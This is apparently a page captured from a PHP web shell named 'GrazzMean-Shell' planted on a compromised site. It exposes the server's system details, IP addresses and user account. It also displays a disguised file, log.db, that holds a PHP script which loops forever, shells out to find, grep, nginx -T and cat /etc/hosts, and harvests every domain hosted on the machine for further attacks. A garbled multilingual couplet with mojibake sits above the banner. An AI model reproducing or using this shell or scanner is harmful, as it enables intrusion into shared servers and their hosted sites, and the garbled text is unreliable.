曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜. rahbord-ins.ir - GrazzMean-Shell
Uname: Linux server18.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 185.126.202.122
Your Ip: 216.73.216.193
User: rahbordf (4876) | Group: rahbordf (4881)
Safe Mode: OFF
Disable Function:
show_source, system, shell_exec, passthru, exec, popen, proc_open

name : log.db
<?php
/**
 * FULL SYSTEM DOMAIN SCANNER (Linux)
 * 1. Scans Web Configs & Logs
 * 2. Scans Runtime Commands
 * 3. RECURSIVE SYSTEM-WIDE DIRECTORY SCAN (finds directory names that look like domains)
 * 4. Infinite Execution
 */

if (stripos(PHP_OS, 'LINUX') === false) {
    die("Error: This script is only for Linux.\n");
}

set_time_limit(0);
ignore_user_abort(true);

$outputFile = 'siters.txt';
$sleepInterval = 60; // Full system scan is heavy, interval set to 60s
$domainRegex = '/[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+/i';

echo "Deep Scanner Started. Scanning all configs, logs, and directory names...\n";

while (true) {
    $foundPool = [];

    // --- 1. FULL DISK DIRECTORY SCAN (New Method) ---
    // Finds directories like /www/wwwroot/example.com or /home/my.site.org
    // Using 'find' command for high-speed recursive searching
    $dirOutput = shell_exec("find / -maxdepth 5 -type d -regextype posix-extended -regex '.*\/[a-z0-9.-]+\.[a-z]{2,}' 2>/dev/null");
    if ($dirOutput) {
        $paths = explode("\n", $dirOutput);
        foreach ($paths as $path) {
            $folderName = basename($path);
            if (preg_match($domainRegex, $folderName, $matches)) {
                $foundPool[] = $matches[0];
            }
        }
    }

    // --- 2. CONFIG FILES & LOGS SCAN ---
    $searchPaths = [
        '/etc/nginx/', '/etc/apache2/', '/usr/local/nginx/', '/www/server/panel/',
        '/var/log/', '/www/wwwlogs/'
    ];
    
    foreach ($searchPaths as $path) {
        if (!is_dir($path)) continue;
        
        // Search inside files for domain patterns
        $grepOutput = shell_exec("grep -rE '(server_name|ServerName|ServerAlias)' $path 2>/dev/null");
        if ($grepOutput) {
            preg_match_all($domainRegex, $grepOutput, $matches);
            if (!empty($matches[0])) $foundPool = array_merge($foundPool, $matches[0]);
        }
    }

    // --- 3. SYSTEM RUNTIME & HOSTS ---
    $runtimeCmds = [
        'nginx -T',
        'apache2ctl -S',
        'httpd -S',
        'cat /etc/hosts'
    ];
    foreach ($runtimeCmds as $cmd) {
        $out = shell_exec("$cmd 2>/dev/null");
        if ($out) {
            preg_match_all($domainRegex, $out, $matches);
            if (!empty($matches[0])) $foundPool = array_merge($foundPool, $matches[0]);
        }
    }

    // --- 4. DATA CLEANING & INCREMENTAL SAVE ---
    $uniqueDomains = array_unique(array_filter($foundPool, function($val) {
        $val = strtolower(trim($val, ".; "));
        return !empty($val) && 
               strlen($val) > 4 &&
               $val !== 'localhost' && 
               !filter_var($val, FILTER_VALIDATE_IP);
    }));

    // Load and Append
    $existing = file_exists($outputFile) ? explode("\n", strtolower(trim(file_get_contents($outputFile)))) : [];
    $newOnes = array_diff($uniqueDomains, $existing);

    if (!empty($newOnes)) {
        file_put_contents($outputFile, implode("\n", $newOnes) . "\n", FILE_APPEND | LOCK_EX);
        echo "[" . date('H:i:s') . "] Discovered " . count($newOnes) . " new domains from configs and directories.\n";
    }

    sleep($sleepInterval);
}
© 2026 GrazzMean-Shell